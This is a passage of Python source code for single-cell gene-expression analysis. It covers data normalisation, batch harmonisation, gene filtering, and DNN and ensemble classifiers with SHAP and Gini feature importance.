Sequential()\n\n\t\tdnn_model.add(Dense(32, input_shape=(X.shape[1],))) #1°layer\n\t\tdnn_model.add(BatchNormalization())\n\t\tdnn_model.add(Activation('sigmoid'))\n\t\tdnn_model.add(Dropout(0.2))\n\n\t\tdnn_model.add(Dense(16, input_shape=(32,))) #2°layer\n\t\tdnn_model.add(BatchNormalization())\n\t\tdnn_model.add(Activation('sigmoid'))\n\t\tdnn_model.add(Dropout(0.1))\n\n\t\tdnn_model.add(Dense(num_classes, activation='softmax')) #output\n\t\t\n\t\tdnn_model.compile(loss=losses.categorical_crossentropy,\n\t\t\t\t\t\t optimizer=optimizers.Adam(learning_rate=0.001, amsgrad=False),\n\t\t\t\t\t\t metrics=['accuracy', 'AUC', 'Precision', 'Recall'])\n\t\t\n\t\treturn dnn_model\n\n\n\t###########################################################################################\n\tdef __network_history_plot(self, network_history):\n\t\t\"\"\"\\\n\t\t\tPlot ...\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tnetwork_history : anndata.AnnData\n\t\t\t\t...\n\t\t\"\"\"\n\t\t\n\t\tf, axs = plt.subplots(1,2,figsize=(20,8))\n\t\tsns.despine(offset=10, trim=False)\n\t\tsns.set(font_scale=1.5)\n\t\tsns.set_style(\"white\")\n\n\t\taxs[0].semilogy(network_history.history['loss'])\n\t\taxs[0].semilogy(network_history.history['val_loss'])\n\t\taxs[0].set_title('Model Complexity Graph: Training vs. Validation Loss')\n\t\taxs[0].set_ylabel('loss')\n\t\taxs[0].set_xlabel('epoch')\n\t\taxs[0].legend(['train', 'validate'], loc='upper right')\n\n\t\taxs[1].semilogy(network_history.history['accuracy'])\n\t\taxs[1].semilogy(network_history.history['val_accuracy'])\n\t\taxs[1].set_title('Model Complexity Graph: Training vs. Validation Accuracy')\n\t\taxs[1].set_ylabel('accuracy')\n\t\taxs[1].set_xlabel('epoch')\n\t\taxs[1].legend(['train', 'validate'], loc='upper right')\n\n\t\tplt.tight_layout()\n\t\tplt.show(block=False)\n\t\tplt.close(\"all\")\n\n\n\t###########################################################################################\n\tdef __confusionM(self, y_pred, y_test, labels=None, title=None, save=False):\n\t\t\"\"\"\\\n\t\t\tPlot ...\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\ty_pred : list ()\n\t\t\t\t...\n\t\t\ty_test : list ()\n\t\t\t\t...\n\t\t\tlabels : list (default: None)\n\t\t\t\t...\n\t\t\ttitle : string (default: None)\n\t\t\t\t...\n\t\t\tsave : boolean (default: False)\n\t\t\t\t...\n\t\t\"\"\"\n\t\tsns.set(font_scale=1.4)\n\t\tsns.set_style(\"white\")\n\t\t\n\t\tsns.despine(offset=10, trim=False)\n \n\t\tf, axs = plt.subplots(1,1,figsize=(8,8))\n\t\tif labels != None:\n\t\t\tdf_cm = pd.DataFrame(confusion_matrix(y_test, y_pred), index=labels, columns=labels)\n\t\telse: \n\t\t\tdf_cm = pd.DataFrame(confusion_matrix(y_test, y_pred))\n\t\tsns.heatmap(df_cm, annot=True, annot_kws={\"size\": 12}, fmt='d', cbar=False, cmap=mymap, ax=axs)\n\t\taxs.set(xlabel='Predicted labels', ylabel='True labels')\n\t\taxs.set_title(\"Confusion matrix\")\n\n \n\t\tf, axs = plt.subplots(1,1,figsize=(9.5,8))\n\t\tif labels != None:\n\t\t\tdf_cm = pd.DataFrame(confusion_matrix(y_test, y_pred, normalize=\"true\"), index=labels, columns=labels)*100\n\t\telse:\n\t\t\tdf_cm = pd.DataFrame(confusion_matrix(y_test, y_pred, normalize=\"true\"))*100\n\t\tsns.heatmap(df_cm, annot=True, annot_kws={\"size\": 10}, fmt='.2f', cbar=True, cmap=mymap, ax=axs, cbar_kws={'label': 'Classification rate (%)'})\n\t\taxs.set(xlabel='Predicted labels', ylabel='True labels')\n\t\taxs.set_title(title)\n\t\taxs.set_xticklabels(axs.get_xticklabels(), rotation=45) \n\t\tplt.show(block=False)\n\t\tif save:\n\t\t\tplt.tight_layout()\n\t\t\tf.savefig('Figures/%s_ConfMat.pdf'%title, bbox_inches='tight')\n\t\tplt.close(\"all\")\n\n \n###########################################################################################\n\tdef data_preparation(self, adata, sparse=False):\n\t\t\"\"\"\\\n\t\t\tPreparing AnnData object with counts, norm, log, scale data in layers. AnnData.X as scale data and AnnData.raw with log-counts data.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tsparse : boolean (default False)\n\t\t\t\tto do\n\n\t\t\tReturns\n\t\t\t-------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData with transformed and saved data into .X, .raw.X, and layers.\n\t\t\"\"\"\n\t\t# save counts into the layer\n\t\tadata.layers[\"counts\"] = np.asarray(adata.X)\n\n\t\t# normilise and save the data into the layer\n\t\tsc.pp.normalize_per_cell(adata, counts_per_cell_after=1e4)\n\t\tadata.layers[\"norm\"] = np.asarray(adata.X).copy()\n\n\t\t# logarithmise and save the data into the layer\n\t\tsc.pp.log1p(adata)\n\t\tadata.layers[\"log\"] = np.asarray(adata.X.copy())\n\t\t# save in adata.raw.X normilise and logarithm data\n\t\tadata.raw = adata.copy()\n\n\t\tsc.pp.scale(adata, max_value=10)\n\t\tadata.layers[\"scale\"] = np.asarray(adata.X.copy())\n \n \n\t###########################################################################################\n\tdef harmonise_data(self, adata):\n\t\t\"\"\"\\\n\t\t\tHarmonise AnnData.X for a given batch saved into the AnnData object.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\n\t\t\tReturns\n\t\t\t-------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData with the harmonise data into .obsm[\"harmonise\"].\n\t\t\"\"\"\n\n\t\tif \"batch\" not in adata.obs.columns:\n\t\t\tprint(\"batch is not present in .obs\")\n\t\t\treturn\n\t\t\n\t\tho = hm.run_harmony(adata.X, \n\t\t\t\t\t\t\tadata.obs, \n\t\t\t\t\t\t\t[\"batch\"], \n\t\t\t\t\t\t\tmax_iter_kmeans=25, \n\t\t\t\t\t\t\tmax_iter_harmony=100)\n\t\t\n\t\t# store harmonise data into .obsm[\"harmonise\"]\n\t\tadata.obsm[\"harmonise\"] = ho.Z_corr.T\n\t\t\n\t\treturn adata\n\n\n\t###########################################################################################\n\tdef remove_general_genes(self, adata, species='human'):\n\t\t\"\"\"\\\n\t\t\tRemoving general genes as general genes connected to mitochondrial activity, ribosomal biogenesis, cell-surface protein regulation of the immune system from AnnData object.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tspecies : string (default: human)\n\t\t\t\thuman or mouse\n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData without general genes.\n\t\t\"\"\"\n\t\tif species not in ['human','mouse']:\n\t\t\tprint(\"Warning: species must be human or mouse\")\n\t\t\treturn\n \n\t\tif species=='human':\n\t\t\tadata.var[\"general\"] = ((adata.var_names.str.startswith(\"MT\")) |\n\t\t\t\t\t\t\t\t\t(adata.var_names.str.startswith(\"RPS\")) | \n\t\t\t\t\t\t\t\t\t(adata.var_names.str.startswith(\"RPL\")) | \n\t\t\t\t\t\t\t\t\t(adata.var_names.str.startswith(\"HSP\")) | \n\t\t\t\t\t\t\t\t\t(adata.var_names.str.startswith(\"HLA\")))\n\t\tif species=='mouse': \n\t\t\tadata.var[\"general\"] = ((adata.var_names.str.startswith(\"mt\")) |\n\t\t\t\t\t\t\t\t\t(adata.var_names.str.startswith(\"rps\")) | \n\t\t\t\t\t\t\t\t\t(adata.var_names.str.startswith(\"rpl\")) | \n\t\t\t\t\t\t\t\t\t(adata.var_names.str.startswith(\"hsp\")) | \n\t\t\t\t\t\t\t\t\t(adata.var_names.str.startswith(\"hla\")))\n\t\t\n\t\tnew_gen = []\n\t\tfor i in adata.var[\"general\"]:\n\t\t\tif i == True:\n\t\t\t\tnew_gen.append(False)\n\t\t\telse: \n\t\t\t\tnew_gen.append(True)\n\t\tadata.var[\"general\"] = new_gen\n\t\t\n\t\tadata = adata[:, adata.var[\"general\"]]\n\t\t\n\t\tadata.X = adata.layers[\"log\"]\n\t\tadata.raw = adata.copy()\n\t\tadata.X = adata.layers[\"scale\"]\n\t\t\n\t\treturn adata\n\n\n\t###########################################################################################\n\tdef remove_housekeepingenes(self, adata, path=None):\n\t\t\"\"\"\\\n\t\t\tRemoving biological housekeeping genes from AnnData object.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tpath : string (default: None)\n\t\t\t\tPath where list of housekeeping genes are stored.\n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData without housekeeping genes.\n\t\t\"\"\"\n\t\tif path is None:\n\t\t\tprint(\"path must be passed\")\n\t\t\treturn\n\t\t\n\t\thkg = np.loadtxt(path, dtype=\"str\")\n\n\t\tnew_gen = []\n\t\tfor i in adata.var.index.tolist():\n\t\t\tif i in hkg:\n\t\t\t\tnew_gen.append(False)\n\t\t\telse: \n\t\t\t\tnew_gen.append(True)\n\t\tadata.var[\"general\"] = new_gen\n\t\t\n\t\tadata = adata[:, adata.var[\"general\"]]\n\t\t\n\t\tadata.X = adata.layers[\"log\"]\n\t\tadata.raw = adata.copy()\n\t\tadata.X = adata.layers[\"scale\"]\n\t\t\n\t\treturn adata \n\n\n\t###########################################################################################\n\tdef remove_features_pct(self, adata, group_by=None, pct=0.3):\n\t\t\"\"\"\\\n\t\t\tRemoving ... from AnnData object.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tgroup_by : string (default: None)\n\t\t\t\t...\n\t\t\tpct : flaot (default: 0.3)\n\t\t\t\t... \n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData without ... genes.\n\t\t\"\"\"\n\t\t# raw.X should be log trasformed\n\t\tif group_by is None:\n\t\t\tprint(\"select a group_by in .obs\")\n\t\t\treturn\n\t\tif group_by not in adata.obs.columns:\n\t\t\tprint(\"group_by must be in .obs\")\n\t\t\treturn \n\t\t\n\t\tadata.X = adata.layers[\"counts\"]\n\t\tadata.raw = adata.copy()\n\t\t\n\t\tlist_keep_genes = []\n\t\t\n\t\tdf = pd.DataFrame(data=False, \n\t\t\t\t\t\t index=adata.var.index.tolist(),\n\t\t\t\t\t\t columns=adata.obs[group_by].cat.categories)\n\t\tfor g in adata.obs[group_by].cat.categories: \n\t\t\treduced = adata[adata.obs[group_by]==g]\n\t\t\tboolean, values = sc.pp.filter_genes(reduced, min_cells = reduced.n_obs*pct, inplace=False)\n\t\t\tdf[g] = boolean\n\t\tdfT = df.T\n\t\tfor g in dfT.columns:\n\t\t\tif True in dfT[g].tolist():\n\t\t\t\tlist_keep_genes.append(True)\n\t\t\telse:\n\t\t\t\tlist_keep_genes.append(False)\n\t\t\n\t\tadata.var[\"general\"] = list_keep_genes\n\t\t\n\t\tadata = adata[:, adata.var[\"general\"]]\n\t\t\n\t\tadata.X = adata.layers[\"log\"]\n\t\tadata.raw = adata.copy()\n\t\tadata.X = adata.layers[\"scale\"]\n\t\t\n\t\treturn adata \n\n\n\t###########################################################################################\n\tdef remove_features_pct_2groups(self, adata, group_by=None, pct1=0.9, pct2=0.5):\n\t\t\"\"\"\\\n\t\t\tRemoving ... from AnnData object.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tgroup_by : string (default: None)\n\t\t\t\t...\n\t\t\tpct1 : flaot (default: 0.9)\n\t\t\t\t... \n\t\t\tpct2 : flaot (default: 0.5)\n\t\t\t\t... \n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData without ... genes.\n\t\t\"\"\"\n\t\t# raw.X should be log trasformed\n\t\tif group_by is None:\n\t\t\tprint(\"select a group_by in .obs\")\n\t\t\treturn\n\t\tif group_by not in adata.obs.columns:\n\t\t\tprint(\"group_by must be in .obs\")\n\t\t\treturn \n\t\t\n\t\tadata.X = adata.layers[\"counts\"]\n\t\tadata.raw = adata.copy()\n\t\t\n\t\tlist_keep_genes = []\n\t\t\n\t\tdf = pd.DataFrame(data=False, \n\t\t\t\t\t\t index=adata.var.index.tolist(),\n\t\t\t\t\t\t columns=adata.obs[group_by].cat.categories)\n\t\tfor g in adata.obs[group_by].cat.categories: \n\t\t\treduced = adata[adata.obs[group_by]==g]\n\t\t\tboolean, values = sc.pp.filter_genes(reduced, min_cells = reduced.n_obs*(pct1), inplace=False)\n\t\t\tdf[g] = boolean\n\t\tdfT = df.T\n\t\tfor g in dfT.columns:\n\t\t\tif (sum(dfT[g].tolist())/len(dfT[g].tolist())) >= pct2:\n\t\t\t\tlist_keep_genes.append(False)\n\t\t\telse:\n\t\t\t\tlist_keep_genes.append(True)\n\t\t\n\t\tadata.var[\"general\"] = list_keep_genes\n\t\t\n\t\tadata = adata[:, adata.var[\"general\"]]\n\t\t\n\t\tadata.X = adata.layers[\"log\"]\n\t\tadata.raw = adata.copy()\n\t\tadata.X = adata.layers[\"scale\"]\n\t\t\n\t\treturn adata\n\n\n\t###########################################################################################\n\tdef scale_filter_features(self, adata, n_components=None, filter_expression=True):\n\t\t\"\"\"\\\n\t\t\tScaling ... from AnnData object.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tn_components : integer (default: None)\n\t\t\t\t...\n\t\t\tfilter_expression : boolean (default: True)\n\t\t\t\t... \n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData without ... genes.\n\t\t\"\"\"\n\t\tX = adata.X\n\t\tif n_components==None:\n\t\t\tn_components=X.shape[1]\n\t\t\n\t\tif n_components>X.shape[0]:\n\t\t\tn_components=X.shape[0]\n\t\t\n\t\tss = StandardScaler()\n\t\tpca = PCA(n_components=n_components)\n\t\tX_scaled = ss.fit_transform(X)\n\t\tX_pca = pca.fit(X_scaled)\n\t\texplained_variances = pca.explained_variance_ratio_\n\n\t\t# Count up the components explaining 80 % of the variance\n\t\tp_comp = 0\n\t\ttot_variance = 0\n\t\tfor i in range(len(explained_variances)):\n\t\t\tp_comp += 1\n\t\t\ttot_variance += explained_variances[i]\n\t\t\tif tot_variance > 0.80:\n\t\t\t\tbreak\n\n\t\t# Get the top five most relevant features for each principal component\n\t\tcomponents_features = pca.components_[:p_comp,:] # Shape is n_components * n_features\n\t\tall_indices = np.array(list())\n\t\tfor comp in range(p_comp):\n\t\t\tpc = np.array([abs(i) for i in components_features[comp, :]])\n\t\t\tindices = np.argpartition(pc, -20)[-20:] # Calculate indices for the top 20 features per PC\n\t\t\tall_indices = np.concatenate((all_indices, indices))\n\n\t\t# Final get the unique feature indices which we will keep\n\t\tall_indices = np.unique(all_indices)\n\t\tall_indices = np.array([int(i) for i in all_indices])\n\n\t\tprint(\"Fraction passing PCA:\", len(all_indices)/X.shape[1])\n\t\t\n\t\tlist_keep_genes = []\n\t\tfor i_idx, i in enumerate(adata.var.index.tolist()):\n\t\t\tif i_idx in all_indices:\n\t\t\t\tlist_keep_genes.append(True)\n\t\t\telse:\n\t\t\t\tlist_keep_genes.append(False)\n\t\tadata.var[\"general\"] = list_keep_genes\n\t\t\n\t\tadata = adata[:, adata.var[\"general\"]]\n\t\t\n\t\tadata.X = adata.layers[\"log\"]\n\t\tadata.raw = adata.copy()\n\t\tadata.X = adata.layers[\"scale\"]\n\t\t\n\t\treturn adata\n\n\n\t###########################################################################################\n\tdef DNN(self, adata, group_by=None, model=None, test_size=0.2, balance=True, verbose=True, save=True):\n\t\t\"\"\"\\\n\t\t\tApplying DNN to AnnData.X.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tgroup_by : string (default: None)\n\t\t\t\t...\n\t\t\tmodel : Keras model (default: None)\n\t\t\t\t... \n\t\t\ttest_size : float (default: 0.2)\n\t\t\t\t...\n\t\t\tbalance : boolean (default: True)\n\t\t\t\t... \n\t\t\tverbose : boolean (default: True)\n\t\t\t\t...\n\t\t\tsave : boolean (default: True)\n\t\t\t\t... \n\t\t\"\"\"\n\t\tif group_by is None:\n\t\t\tprint(\"select a group_by in .obs\")\n\t\t\treturn\n\t\tif group_by not in adata.obs.columns:\n\t\t\tprint(\"group_by must be in .obs\")\n\t\t\treturn \n\t\t\n\t\tX = np.array(adata.X)\n\t\ty = np.array(adata.obs[group_by].tolist())\n\t\t\n\t\tmyDict = {}\n\t\tfor idx, c in enumerate(adata.obs[group_by].cat.categories):\n\t\t\tmyDict[c] = idx\n\t\tlabels = []\n\t\tfor l in adata.obs[group_by].tolist():\n\t\t\tlabels.append(myDict[l])\n\t\tlabels = np.array(labels)\n\t\ty = labels\n\t\t\n\t\tweight = []\n\t\tn = len(np.unique(y))\n\t\tfor k in range(n):\n\t\t\tif balance:\n\t\t\t\tw = len(y)/float(n*len(y[y==k]))\n\t\t\t\tweight.append(w)\n\t\t\telse:\n\t\t\t\tweight.append(1)\n\t\t\tclass_weight = dict(zip(range(n), weight))\n\t\t\t\n\t\tX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=SEED, stratify=y)\n\t\t\n\t\tnum_classes = len(np.unique(adata.obs[group_by]))\n\t\tnames = adata.obs[group_by].cat.categories.tolist()\n\n\t\t# ecoding labels\n\t\tle = LabelEncoder()\n\t\tle.fit(y_train)\n\t\tle.fit(y_test)\n\t\tyy_train = le.transform(y_train)\n\t\tyy_test = le.transform(y_test)\n\t\t\n\t\t# convert class vectors to binary class matrices\n\t\ty_train = to_categorical(yy_train, num_classes)\n\t\ty_test = to_categorical(yy_test, num_classes)\n\t\t\n\t\t\n\t\tearly_stop = EarlyStopping(monitor='val_loss', patience=5, verbose=1)\n\n\t\tfBestModel = 'weights/best_model_%s.h5'%group_by\n\t\tbest_model = ModelCheckpoint(fBestModel, verbose=1, save_best_only=True)\n\n\t\tbatch_size = 100\n\t\t\n\t\t# the user can define and compile a Sequental DNN\n\t\tif model is None:\n\t\t\tmodel = self.__loadDNNmodel(X, num_classes)\n\n\t\tif verbose:\n\t\t\tverbose_dnn = 1\n\t\t\tprint(model.summary())\n\t\t\n\t\t\n\t\tnetwork_history = model.fit(X_train, y_train, \n\t\t\t\t\t\t\t\t\tbatch_size=batch_size, \n\t\t\t\t\t\t\t\t\tepochs=100, \n\t\t\t\t\t\t\t\t\tverbose=verbose, \n\t\t\t\t\t\t\t\t\tvalidation_data=(X_test, y_test),\n\t\t\t\t\t\t\t\t\tcallbacks=[early_stop, best_model], \n\t\t\t\t\t\t\t\t\tclass_weight=class_weight)\n\n\t\tself.__network_history_plot(network_history)\n\n\t\tpred = model.predict_classes(X_test)\n\n\t\tself.__confusionM(pred, yy_test, labels=names, title=\"DNN\", save=save)\n\t\tprint(classification_report(yy_test, pred, target_names=names))\n\n\n\t\tmodel.load_weights('weights/best_model_%s.h5'%group_by)\n\t\tscore = model.evaluate(X_test, y_test, verbose=1)\n\n\n\t###########################################################################################\n\tdef run_shap(self, adata, group_by=None, model=None, verbose=True, pct=0.05, restrict_top=(\"global\", 10)):\n\t\t\"\"\"\\\n\t\t\tApplying shaply value to model weight obtained by training DNN using DNN() method.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tgroup_by : string (default: None)\n\t\t\t\t...\n\t\t\tmodel : Keras model (default: None)\n\t\t\t\t... \n\t\t\tverbose : boolean (default: True)\n\t\t\t\t...\n\t\t\tpct : float (default: 0.05)\n\t\t\t\t... \n\t\t\trestrict_top : set(string, integer) (default: (\"global\", 10))\n\t\t\t\t...\n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tselectedGenes : list\n\t\t\t\t...\n\t\t\tselectedGenes_dict : dict\n\t\t\t\t...\n\t\t\"\"\"\n\t\tif group_by is None:\n\t\t\tprint(\"select a group_by in .obs\")\n\t\t\treturn\n\t\tif group_by not in adata.obs.columns:\n\t\t\tprint(\"group_by must be in .obs\")\n\t\t\treturn \n\t\t\n\t\tif restrict_top[0] != \"global\" and restrict_top[0] != \"local\":\n\t\t\tprint(\"First element of restrict_top must be 'global' or 'local'\")\n\t\t\treturn \n\t\t\n\t\tif not isinstance(restrict_top[1], int):\n\t\t\tprint(\"Second element of restrict_top must be an integer value\")\n\t\t\treturn \n\t\t\n\t\tX = np.array(adata.X)\n\t\ty = np.array(adata.obs[group_by].tolist())\n\t\t\n\t\tmyDict = {}\n\t\tfor idx, c in enumerate(adata.obs[group_by].cat.categories):\n\t\t\tmyDict[c] = idx\n\t\tlabels = []\n\t\tfor l in adata.obs[group_by].tolist():\n\t\t\tlabels.append(myDict[l])\n\t\tlabels = np.array(labels)\n\t\ty = labels\n\t\t\n\t\tnum_classes = len(np.unique(adata.obs[group_by]))\n\t\t\n\t\tif model is None:\n\t\t\tmodel = self.__loadDNNmodel(X, num_classes)\n\t\t\n\t\tmodel.compile(loss=losses.categorical_crossentropy,\n\t\t\t\t\t optimizer=optimizers.Adam(learning_rate=0.001, amsgrad=False),\n\t\t\t\t\t metrics=['accuracy', 'AUC', 'Precision', 'Recall'])\n\t\tmodel.load_weights('weights/best_model_%s.h5'%group_by)\n\t\t\n\t\tX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=SEED, stratify=y)\n\t\t\n\t\tif pct is None:\n\t\t\tX_tr1 = X_train\n\t\t\tx_val2 = X_test\n\t\telse:\n\t\t\tX_tr1, x_val1, Y_tr1, y_val1 = train_test_split(X_train, y_train, test_size=(1-pct), random_state=SEED, stratify=y_train)\n\t\t\tX_tr2, x_val2, Y_tr2, y_val2 = train_test_split(X_test, y_test, test_size=pct, random_state=SEED, stratify=y_test)\n\t\t\n\t\texplainer = shap.DeepExplainer(model, X_tr1)\n\t\tshap.explainers._deep.deep_tf.op_handlers[\"AddV2\"] = shap.explainers._deep.deep_tf.passthrough\n\t\tshap_values = explainer.shap_values(x_val2)\n\t\tshap.summary_plot(shap_values, adata.var.index.tolist(), max_display=30)\n\t\t\n\t\ttop = restrict_top[1]\n\t\tselectedGenes = []\n\t\tselectedGenes_dict = {}\n\t\t\n\t\tif restrict_top[0] == \"global\":\n\t\t\tvals = np.abs(shap_values).mean(0)\n\t\t\tfeature_importance = pd.DataFrame(list(zip(adata.var.index.tolist(),sum(vals))),columns=['col_name','feature_importance_vals'])\n\t\t\tfeature_importance.sort_values(by=['feature_importance_vals'],ascending=False,inplace=True)\n\t\t\tselectedGenes += feature_importance[\"col_name\"].tolist()[:top]\n\t\t\tselectedGenes_dict[\"group\"] = feature_importance[\"col_name\"].tolist()[:top] \n\n\t\telif restrict_top[0] ==\"local\":\n\t\t\tfor i, name in zip(range(len(shap_values)), adata.obs[group_by].cat.categories):\n\t\t\t\tvals = np.abs(shap_values[i]).mean(0)\n\t\t\t\tfeature_importance = pd.DataFrame(list(zip(adata.var.index.tolist(),vals)),columns=['col_name','feature_importance_vals'])\n\t\t\t\tfeature_importance.sort_values(by=['feature_importance_vals'],ascending=False,inplace=True)\n\t\t\t\tselectedGenes += feature_importance[\"col_name\"].tolist()[:top]\n\t\t\t\tselectedGenes_dict[name] = feature_importance[\"col_name\"].tolist()[:top]\n\t\t\n\t\treturn selectedGenes, selectedGenes_dict\n\n\n\t###########################################################################################\n\tdef ensemble_learning(self, adata, group_by=None, classifier=None, test_size=0.2, balance=True, verbose=True, save=True):\n\t\t\"\"\"\\\n\t\t\tApplying ensemble_learning to AnnData.X.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tgroup_by : string (default: None)\n\t\t\t\t...\n\t\t\tclassifier : RandomForest, BalancedRandomForest, XGBoost (default: None)\n\t\t\t\t... \n\t\t\ttest_size : float (default: 0.2)\n\t\t\t\t...\n\t\t\tbalance : boolean (default: True)\n\t\t\t\t... \n\t\t\tverbose : boolean (default: True)\n\t\t\t\t...\n\t\t\tsave : boolean (default: True)\n\t\t\t\t... \n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tclf : classifier\n\t\t\t\t...\n\t\t\"\"\"\n\t\tif group_by is None:\n\t\t\tprint(\"select a group_by in .obs\")\n\t\t\treturn\n\t\tif group_by not in adata.obs.columns:\n\t\t\tprint(\"group_by must be in .obs\")\n\t\t\treturn \n\t\t\n\t\tif classifier not in [\"RandomForest\", \"BalancedRandomForest\", \"XGBoost\"]:\n\t\t\tprint(\"classifier must be 'RandomForest', 'BalancedRandomForest', or 'XGBoost'\")\n\t\t\treturn \n\t\t\n\t\tdata = adata.X\n\t\tN, d = adata.shape\n\n\t\tnames = adata.obs[group_by].cat.categories.tolist()\n\n\t\tmyDict = {}\n\t\tfor idx, c in enumerate(adata.obs[group_by].cat.categories):\n\t\t\tmyDict[c] = idx\n\n\t\tlabels = []\n\t\tfor l in adata.obs[group_by].tolist():\n\t\t\tlabels.append(myDict[l])\n\n\t\tlabels = np.array(labels)\n\n\t\tX = data\n\t\ty = labels\n\n\t\tweight = []\n\t\tn = len(np.unique(y))\n\t\tfor k in range(n):\n\t\t\tif balance:\n\t\t\t\tw = len(y)/float(n*len(y[y==k]))\n\t\t\t\tweight.append(w)\n\t\t\telse:\n\t\t\t\tweight.append(1)\n\t\t\tclass_weight = dict(zip(range(n), weight))\n\n\t\tX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=SEED, stratify=y)\n\n\t\tif classifier==\"RandomForest\":\n\t\t\tprint(\"Running with (Weighted) Random Forest\")\n\t\t\tclf = RandomForestClassifier(n_estimators=100, random_state=SEED, class_weight=class_weight)\n\t\telif classifier==\"BalancedRandomForest\":\n\t\t\tprint(\"Running with Balanced Random Forest\")\n\t\t\tclf = BalancedRandomForestClassifier(n_estimators=200, max_depth=50, sampling_strategy='all', random_state=SEED ,class_weight=class_weight)\n\t\telif classifier==\"XGBoost\":\n\t\t\tprint(\"Running with XGBoost (as of now, class_weight not implemented)\")\n\t\t\tif n == 2:\n\t\t\t\t# due to the XGBoost version\n# \t\t\t\tclf = XGBClassifier(max_depth=9, num_class=n, n_estimators=200, objective=\"binary:logistic\", learning_rate=0.25, booster=\"dart\", random_state=SEED)\n\t\t\t\tclf = XGBClassifier(max_depth=9, num_class=n, n_estimators=200, objective=\"multi:softmax\", learning_rate=0.25, booster=\"dart\", random_state=SEED)\n\t\t\telse:\n\t\t\t\tclf = XGBClassifier(max_depth=9, num_class=n, n_estimators=200, objective=\"multi:softmax\", learning_rate=0.25, booster=\"dart\", random_state=SEED)\n\t\tclf.fit(X_train, y_train)\n\t\ty_pred = clf.predict(X_test)\n\n\t\tacc = accuracy_score(y_pred, y_test)\n\n\t\tself.__confusionM(y_pred, y_test, labels=names, title=classifier, save=save)\n \n\t\tprint(\"Accuracy: %s: Misclassification: %s\"%(acc, 1-acc))\n\t\tprint(classification_report(y_test, y_pred, target_names=names))\n\n\t\treturn clf\n\n\n\t###########################################################################################\n\tdef gini_importance(self, adata, clf, group_by=None, verbose=True, restrict_top=(\"global\", 10)):\n\t\t\"\"\"\\\n\t\t\tApplying gini to trained classifier by using ensemble_learning() method.\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tadata : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tclf : returned by ensemble_learning() method\n\t\t\t\t... \n\t\t\tgroup_by : string (default: None)\n\t\t\t\t... \n\t\t\tverbose : boolean (default: True)\n\t\t\t\t...\n\t\t\trestrict_top : set(string, integer) (default: (\"global\", 10))\n\t\t\t\t... \n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tselectedGenes : list\n\t\t\t\t...\n\t\t\tselectedGenes_dict : dict\n\t\t\t\t...\n\t\t\"\"\"\n\t\tif group_by is None:\n\t\t\tprint(\"select a group_by in .obs\")\n\t\t\treturn\n\t\tif group_by not in adata.obs.columns:\n\t\t\tprint(\"group_by must be in .obs\")\n\t\t\treturn \n\t\t\n\t\tif restrict_top[0] != \"global\" and restrict_top[0] != \"local\":\n\t\t\tprint(\"First element of restrict_top must be 'global' or 'local'\")\n\t\t\treturn \n\t\t\n\t\tif not isinstance(restrict_top[1], int):\n\t\t\tprint(\"Second element of restrict_top must be an integer value\")\n\t\t\treturn \n\t\t\n\t\t\n\t\tif restrict_top[0] ==\"local\":\n\t\t\tdata = adata.X\n\t\t\tN, d = adata.shape\n\n\t\t\tmyDict = 